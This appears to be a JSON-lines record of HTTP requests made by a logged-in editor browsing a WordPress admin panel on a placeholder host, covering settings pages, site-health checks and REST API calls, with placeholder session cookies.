{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/dotorg-communication?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: b40ef802e6", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Referer: http://blog.example/wp-admin/site-health.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-health.php?tab=debug", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/directory-sizes", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: b40ef802e6", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Referer: http://blog.example/wp-admin/site-health.php?tab=debug", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/export-personal-data.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/erase-personal-data.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203200"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203201"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=media-views&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203202"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-writing.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203202"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-reading.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203203"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-discussion.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203204"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-media.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203205"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203208.0107820034027099609375", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203206"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-privacy.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203207"], "body": ""}
{"method": "GET", "target": "/wp-admin/about.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203209"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-release-badge.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/about.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-header-default.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/credits.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-header-credits.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203211"], "body": ""}
{"method": "GET", "target": "/wp-admin/freedoms.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203211"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/freedom-1.svg?ver=6.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/freedoms.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/freedom-2.svg?ver=6.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/freedoms.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-admin/privacy.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=9&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"name\":\"bob's tag\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/categories?search=a&per_page=20&_fields=id%2Cname&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=hello&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=10&_fields=id%2Ctitle&context=edit&status=draft%2Cpublish&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-types?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/themes?status=active&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/plugins?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
